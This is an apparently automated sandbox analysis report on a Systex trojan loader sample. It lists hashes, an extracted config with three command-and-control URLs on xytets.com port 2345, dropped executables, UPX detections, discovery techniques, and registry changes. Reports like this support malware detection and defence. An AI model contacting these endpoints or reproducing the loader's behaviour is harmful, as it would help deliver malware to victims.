systex | b2f266c7a961e2da7a52d434ac4602222f1e66ae7a95bf8d2365673f3b0b67d8

Analysis

max time kernel
148s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
15/04/2026, 14:55

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
Size 291KB
Sample260415-sawsdsav9m
SHA256 b2f266c7a961e2da7a52d434ac4602222f1e66ae7a95bf8d2365673f3b0b67d8
MD5 4f399e82a6ed6980ff37609f374d8f9f
SHA1 b23b3371dbdf4f4a236ecf8798e5197a8d099bc3
SHA512 cd51fa76f76ac926023ce47a98976aa779e4b1eff0f9ca64500b8769fd3adccdda124f3550d1871b544cc4ef605ecee91d9199276e0a502700841bbf7faff6b4
SSDEEP 3072:rJWhL0cgHsQB8BPFvdRcF8rFz1wxayNM3coteYnwrZwuhT7kr9+rY9:rghLWsQmpcF8BzXfwVTTIr9N
TLSH
T1F8544A0272808071E7550B78045AE7A14ABE7D344BB5D68FF7A43B7A5E702D3A93721F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

adware discovery systex spyware trojan upx

Malware Config

Extracted

Family

systex

http://xytets.com:2345/t.asp?os=wangba8102
http://xytets.com:2345/ll/out.txt
http://xytets.com:2345/t.asp?os=home8102

Signatures

Family: Systex
Systex is a trojan loader written in C++.
trojan systex

Custom signature

UPX dump on OEP (original entry point) 64 IoCs

resource	yara_rule
behavioral2/memory/3912-0-0x0000000000040000-0x000000000008B000-memory.dmp	UPX
behavioral2/files/0x001900000002b267-155.dat	UPX
behavioral2/memory/4552-157-0x0000000000EF0000-0x0000000000F3B000-memory.dmp	UPX
behavioral2/memory/4552-167-0x0000000000EF0000-0x0000000000F3B000-memory.dmp	UPX
behavioral2/files/0x001a00000002b269-433.dat	UPX
behavioral2/memory/1692-435-0x00000000002B0000-0x00000000002FB000-memory.dmp	UPX
behavioral2/memory/1692-437-0x00000000002B0000-0x00000000002FB000-memory.dmp	UPX
behavioral2/memory/3912-439-0x0000000000040000-0x000000000008B000-memory.dmp	UPX
behavioral2/files/0x001c00000002b333-477.dat	UPX
behavioral2/memory/4452-478-0x0000000000A40000-0x0000000000A8B000-memory.dmp	UPX
behavioral2/memory/4452-482-0x0000000000A40000-0x0000000000A8B000-memory.dmp	UPX
behavioral2/files/0x000300000000d38b-491.dat	UPX
behavioral2/memory/880-492-0x0000000000860000-0x00000000008AB000-memory.dmp	UPX
behavioral2/memory/880-495-0x0000000000860000-0x00000000008AB000-memory.dmp	UPX
behavioral2/files/0x000400000000d38b-501.dat	UPX
behavioral2/memory/4860-502-0x0000000000A70000-0x0000000000ABB000-memory.dmp	UPX
behavioral2/memory/4860-506-0x0000000000A70000-0x0000000000ABB000-memory.dmp	UPX
behavioral2/files/0x0004000000025871-519.dat	UPX
behavioral2/memory/4148-520-0x0000000000A70000-0x0000000000ABB000-memory.dmp	UPX
behavioral2/memory/4148-527-0x0000000000A70000-0x0000000000ABB000-memory.dmp	UPX
behavioral2/files/0x001e00000002b25d-541.dat	UPX
behavioral2/memory/1632-542-0x0000000000A10000-0x0000000000A5B000-memory.dmp	UPX
behavioral2/memory/1632-546-0x0000000000A10000-0x0000000000A5B000-memory.dmp	UPX
behavioral2/files/0x001f00000002b25d-550.dat	UPX
behavioral2/memory/5084-552-0x0000000000A20000-0x0000000000A6B000-memory.dmp	UPX
behavioral2/memory/5084-554-0x0000000000A20000-0x0000000000A6B000-memory.dmp	UPX
behavioral2/files/0x000600000000d38b-569.dat	UPX
behavioral2/memory/3528-570-0x0000000000950000-0x000000000099B000-memory.dmp	UPX
behavioral2/memory/3528-573-0x0000000000950000-0x000000000099B000-memory.dmp	UPX
behavioral2/files/0x000700000000d38b-577.dat	UPX
behavioral2/memory/1012-578-0x0000000000C60000-0x0000000000CAB000-memory.dmp	UPX
behavioral2/memory/1012-581-0x0000000000C60000-0x0000000000CAB000-memory.dmp	UPX
behavioral2/files/0x0006000000025871-595.dat	UPX
behavioral2/memory/2452-596-0x00000000002E0000-0x000000000032B000-memory.dmp	UPX
behavioral2/memory/2452-598-0x00000000002E0000-0x000000000032B000-memory.dmp	UPX
behavioral2/memory/4444-601-0x0000000000F90000-0x0000000000FDB000-memory.dmp	UPX
behavioral2/memory/4444-611-0x0000000000F90000-0x0000000000FDB000-memory.dmp	UPX
behavioral2/memory/1828-615-0x00000000000E0000-0x000000000012B000-memory.dmp	UPX
behavioral2/memory/1828-617-0x00000000000E0000-0x000000000012B000-memory.dmp	UPX
behavioral2/memory/3268-620-0x00000000009E0000-0x0000000000A2B000-memory.dmp	UPX
behavioral2/memory/3268-630-0x00000000009E0000-0x0000000000A2B000-memory.dmp	UPX
behavioral2/memory/2440-638-0x0000000000490000-0x00000000004DB000-memory.dmp	UPX
behavioral2/memory/2440-640-0x0000000000490000-0x00000000004DB000-memory.dmp	UPX
behavioral2/memory/1836-651-0x0000000000900000-0x000000000094B000-memory.dmp	UPX
behavioral2/memory/1836-664-0x0000000000900000-0x000000000094B000-memory.dmp	UPX
behavioral2/memory/4444-668-0x0000000000CF0000-0x0000000000D3B000-memory.dmp	UPX
behavioral2/memory/4444-670-0x0000000000CF0000-0x0000000000D3B000-memory.dmp	UPX
behavioral2/memory/5112-689-0x0000000000CC0000-0x0000000000D0B000-memory.dmp	UPX
behavioral2/memory/5112-696-0x0000000000CC0000-0x0000000000D0B000-memory.dmp	UPX
behavioral2/memory/3208-717-0x0000000000350000-0x000000000039B000-memory.dmp	UPX
behavioral2/memory/3208-719-0x0000000000350000-0x000000000039B000-memory.dmp	UPX
behavioral2/memory/4512-722-0x00000000003D0000-0x000000000041B000-memory.dmp	UPX
behavioral2/memory/4512-724-0x00000000003D0000-0x000000000041B000-memory.dmp	UPX
behavioral2/memory/240-744-0x00000000001B0000-0x00000000001FB000-memory.dmp	UPX
behavioral2/memory/240-746-0x00000000001B0000-0x00000000001FB000-memory.dmp	UPX
behavioral2/memory/1704-759-0x0000000000290000-0x00000000002DB000-memory.dmp	UPX
behavioral2/memory/1704-761-0x0000000000290000-0x00000000002DB000-memory.dmp	UPX
behavioral2/memory/720-765-0x0000000000E80000-0x0000000000ECB000-memory.dmp	UPX
behavioral2/memory/720-767-0x0000000000E80000-0x0000000000ECB000-memory.dmp	UPX
behavioral2/memory/4532-770-0x0000000000990000-0x00000000009DB000-memory.dmp	UPX
behavioral2/memory/4532-789-0x0000000000990000-0x00000000009DB000-memory.dmp	UPX
behavioral2/memory/3860-793-0x0000000000020000-0x000000000006B000-memory.dmp	UPX
behavioral2/memory/3860-795-0x0000000000020000-0x000000000006B000-memory.dmp	UPX
behavioral2/memory/784-798-0x00000000000B0000-0x00000000000FB000-memory.dmp	UPX

Executes dropped EXE 64 IoCs

pid	Process
2468	CP.exe
4552	ecxupnhfzs.exe
1760	CP.exe
4116	CP.exe
1692	i_ecxupnhfzs.exe
3956	upnhxupmke.sys
5088	CP.exe
4452	fzwurmkecx.exe
4076	CP.exe
4812	CP.exe
880	i_fzwurmkecx.exe
484	ezwrpjhbzt.sys
1400	CP.exe
4860	mgeywrojhb.exe
1264	CP.exe
2428	CP.exe
4148	i_mgeywrojhb.exe
236	ojgbztrmge.sys
2980	CP.exe
1632	ebztrlgebw.exe
2276	CP.exe
3000	CP.exe
5084	i_ebztrlgebw.exe
1044	bwtolgeywq.sys
3444	CP.exe
3528	oigbytrljd.exe
4408	CP.exe
3736	CP.exe
1012	i_oigbytrljd.exe
3256	gaysqlfdyv.sys
896	CP.exe
2452	tnlfdyvqni.exe
608	CP.exe
1452	CP.exe
4444	i_tnlfdyvqni.exe
576	ysqlidavtn.sys
2544	CP.exe
1828	cavsnlfdxv.exe
1496	CP.exe
2316	CP.exe
3268	i_cavsnlfdxv.exe
1756	cxvpnhfaxs.sys
4516	CP.exe
2440	snkfdxvpnl.exe
3880	CP.exe
4928	CP.exe
1836	i_snkfdxvpnl.exe
2988	kfcxusmkfc.sys
5044	CP.exe
4444	usmkfcxvpn.exe
2480	CP.exe
2264	CP.exe
5112	i_usmkfcxvpn.exe
4132	rpjhczurmk.sys
4956	CP.exe
3208	keczurmjhc.exe
484	CP.exe
3388	CP.exe
4512	i_keczurmjhc.exe
3500	mhezxrmkhb.sys
4476	CP.exe
240	uomhezwrpj.exe
544	CP.exe
1752	CP.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3912-0-0x0000000000040000-0x000000000008B000-memory.dmp	upx
behavioral2/files/0x001900000002b267-155.dat	upx
behavioral2/memory/4552-157-0x0000000000EF0000-0x0000000000F3B000-memory.dmp	upx
behavioral2/memory/4552-167-0x0000000000EF0000-0x0000000000F3B000-memory.dmp	upx
behavioral2/files/0x001a00000002b269-433.dat	upx
behavioral2/memory/1692-435-0x00000000002B0000-0x00000000002FB000-memory.dmp	upx
behavioral2/memory/1692-437-0x00000000002B0000-0x00000000002FB000-memory.dmp	upx
behavioral2/memory/3912-439-0x0000000000040000-0x000000000008B000-memory.dmp	upx
behavioral2/files/0x001c00000002b333-477.dat	upx
behavioral2/memory/4452-478-0x0000000000A40000-0x0000000000A8B000-memory.dmp	upx
behavioral2/memory/4452-482-0x0000000000A40000-0x0000000000A8B000-memory.dmp	upx
behavioral2/files/0x000300000000d38b-491.dat	upx
behavioral2/memory/880-492-0x0000000000860000-0x00000000008AB000-memory.dmp	upx
behavioral2/memory/880-495-0x0000000000860000-0x00000000008AB000-memory.dmp	upx
behavioral2/files/0x000400000000d38b-501.dat	upx
behavioral2/memory/4860-502-0x0000000000A70000-0x0000000000ABB000-memory.dmp	upx
behavioral2/memory/4860-506-0x0000000000A70000-0x0000000000ABB000-memory.dmp	upx
behavioral2/files/0x0004000000025871-519.dat	upx
behavioral2/memory/4148-520-0x0000000000A70000-0x0000000000ABB000-memory.dmp	upx
behavioral2/memory/4148-527-0x0000000000A70000-0x0000000000ABB000-memory.dmp	upx
behavioral2/files/0x001e00000002b25d-541.dat	upx
behavioral2/memory/1632-542-0x0000000000A10000-0x0000000000A5B000-memory.dmp	upx
behavioral2/memory/1632-546-0x0000000000A10000-0x0000000000A5B000-memory.dmp	upx
behavioral2/files/0x001f00000002b25d-550.dat	upx
behavioral2/memory/5084-552-0x0000000000A20000-0x0000000000A6B000-memory.dmp	upx
behavioral2/memory/5084-554-0x0000000000A20000-0x0000000000A6B000-memory.dmp	upx
behavioral2/files/0x000600000000d38b-569.dat	upx
behavioral2/memory/3528-570-0x0000000000950000-0x000000000099B000-memory.dmp	upx
behavioral2/memory/3528-573-0x0000000000950000-0x000000000099B000-memory.dmp	upx
behavioral2/files/0x000700000000d38b-577.dat	upx
behavioral2/memory/1012-578-0x0000000000C60000-0x0000000000CAB000-memory.dmp	upx
behavioral2/memory/1012-581-0x0000000000C60000-0x0000000000CAB000-memory.dmp	upx
behavioral2/files/0x0006000000025871-595.dat	upx
behavioral2/memory/2452-596-0x00000000002E0000-0x000000000032B000-memory.dmp	upx
behavioral2/memory/2452-598-0x00000000002E0000-0x000000000032B000-memory.dmp	upx
behavioral2/memory/4444-601-0x0000000000F90000-0x0000000000FDB000-memory.dmp	upx
behavioral2/memory/4444-611-0x0000000000F90000-0x0000000000FDB000-memory.dmp	upx
behavioral2/memory/1828-615-0x00000000000E0000-0x000000000012B000-memory.dmp	upx
behavioral2/memory/1828-617-0x00000000000E0000-0x000000000012B000-memory.dmp	upx
behavioral2/memory/3268-620-0x00000000009E0000-0x0000000000A2B000-memory.dmp	upx
behavioral2/memory/3268-630-0x00000000009E0000-0x0000000000A2B000-memory.dmp	upx
behavioral2/memory/2440-638-0x0000000000490000-0x00000000004DB000-memory.dmp	upx
behavioral2/memory/2440-640-0x0000000000490000-0x00000000004DB000-memory.dmp	upx
behavioral2/memory/1836-651-0x0000000000900000-0x000000000094B000-memory.dmp	upx
behavioral2/memory/1836-664-0x0000000000900000-0x000000000094B000-memory.dmp	upx
behavioral2/memory/4444-668-0x0000000000CF0000-0x0000000000D3B000-memory.dmp	upx
behavioral2/memory/4444-670-0x0000000000CF0000-0x0000000000D3B000-memory.dmp	upx
behavioral2/memory/5112-689-0x0000000000CC0000-0x0000000000D0B000-memory.dmp	upx
behavioral2/memory/5112-696-0x0000000000CC0000-0x0000000000D0B000-memory.dmp	upx
behavioral2/memory/3208-717-0x0000000000350000-0x000000000039B000-memory.dmp	upx
behavioral2/memory/3208-719-0x0000000000350000-0x000000000039B000-memory.dmp	upx
behavioral2/memory/4512-722-0x00000000003D0000-0x000000000041B000-memory.dmp	upx
behavioral2/memory/4512-724-0x00000000003D0000-0x000000000041B000-memory.dmp	upx
behavioral2/memory/240-744-0x00000000001B0000-0x00000000001FB000-memory.dmp	upx
behavioral2/memory/240-746-0x00000000001B0000-0x00000000001FB000-memory.dmp	upx
behavioral2/memory/1704-759-0x0000000000290000-0x00000000002DB000-memory.dmp	upx
behavioral2/memory/1704-761-0x0000000000290000-0x00000000002DB000-memory.dmp	upx
behavioral2/memory/720-765-0x0000000000E80000-0x0000000000ECB000-memory.dmp	upx
behavioral2/memory/720-767-0x0000000000E80000-0x0000000000ECB000-memory.dmp	upx
behavioral2/memory/4532-770-0x0000000000990000-0x00000000009DB000-memory.dmp	upx
behavioral2/memory/4532-789-0x0000000000990000-0x00000000009DB000-memory.dmp	upx
behavioral2/memory/3860-793-0x0000000000020000-0x000000000006B000-memory.dmp	upx
behavioral2/memory/3860-795-0x0000000000020000-0x000000000006B000-memory.dmp	upx
behavioral2/memory/784-798-0x00000000000B0000-0x00000000000FB000-memory.dmp	upx

Drops file in Windows directory 13 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1884_681821667\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1884_799194059\smart_switch_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1884_54491019\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1884_54491019\sets.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1884_54491019\_metadata\verified_contents.json	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1884_738687592\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1884_738687592\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1884_2080537029\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1884_2080537029\nav_config.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1884_799194059\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1884_799194059\office_endpoints_list.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping1884_54491019\LICENSE	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 41 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_spkicxvpki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tnlfdyvqni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_usmkfcxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ebwuomjebz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ywqolfdyvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ecxupnhfzs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fzwurmkecx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ebztrlgebw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_keczurmjhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_uomhezwrpj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ebwuomjebz.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_qkfdxvpnif.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_mgeywrojhb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cavsnlfdxv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_vtnlfdyvqn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ojhbztrmje.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ecxupnhfzs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ebztrlgebw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_oigbytrljd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	uomhezwrpj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	vtnlfdyvqn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CP.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	oigbytrljd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cavsnlfdxv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_snkfdxvpnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_ywqolfdyvt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	qkfdxvpnif.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_cxupmhfzxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	uomheztrmj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_fzwurmkecx.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	snkfdxvpnl.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_eywqojgbzt.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spkicxvpki.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_uomheztrmj.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cxupmhfzxr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mgeywrojhb.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	i_tnlfdyvqni.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	usmkfcxvpn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	keczurmjhc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eywqojgbzt.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4604	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Gathers network information 2 TTPs 20 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
3472	ipconfig.exe
2864	ipconfig.exe
3892	ipconfig.exe
3628	ipconfig.exe
1072	ipconfig.exe
2620	ipconfig.exe
3688	ipconfig.exe
712	ipconfig.exe
4420	ipconfig.exe
1732	ipconfig.exe
2464	ipconfig.exe
2584	ipconfig.exe
560	ipconfig.exe
4856	ipconfig.exe
4064	ipconfig.exe
4860	ipconfig.exe
3644	ipconfig.exe
3208	ipconfig.exe
2628	ipconfig.exe
4436	ipconfig.exe

Modifies Internet Explorer settings 1 TTPs 30 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\Main\OperationalData = "9"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\BrowserEmulation	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionLow = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\VersionManager\FirstCheckForUpdateHighDateTime = "31247613"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListXMLVersionLow = "395196024"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\GPU\VendorId = "5140"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListDomainAttributeSet = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\GPU\SoftwareFallback = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionLow = "395196024"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\StaleCompatCache = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\GPU\Revision = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\CVListXMLVersionHigh = "268435456"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy\HomepagesUpgradeVersion = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\VersionManager\FirstCheckForUpdateLowDateTime = "2352255616"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionHigh = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\StaleCompatCache = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\Main\OperationalData = "13"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\Main\DisableFirstRunCustomize = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\Main\OperationalData = "8"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPMigrationVer = "1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\GPU\SubSysId = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\VersionManager	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\GPU\DeviceId = "140"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\IECompatVersionHigh = "268435456"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\Protected - It is a violation of Windows Policy to modify. See aka.ms/browserpolicy	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134207389072071180"	msedge.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1383858298-2057492509-1726743289-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1383858298-2057492509-1726743289-1000\{A25A1B26-2327-4244-852C-272A6D023095}	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
3912	2026-04-15_4f399e82a6ed6980ff37609f374d8f9f_coinminer_elex_redline-stealer_rhadamanthys_stop.exe
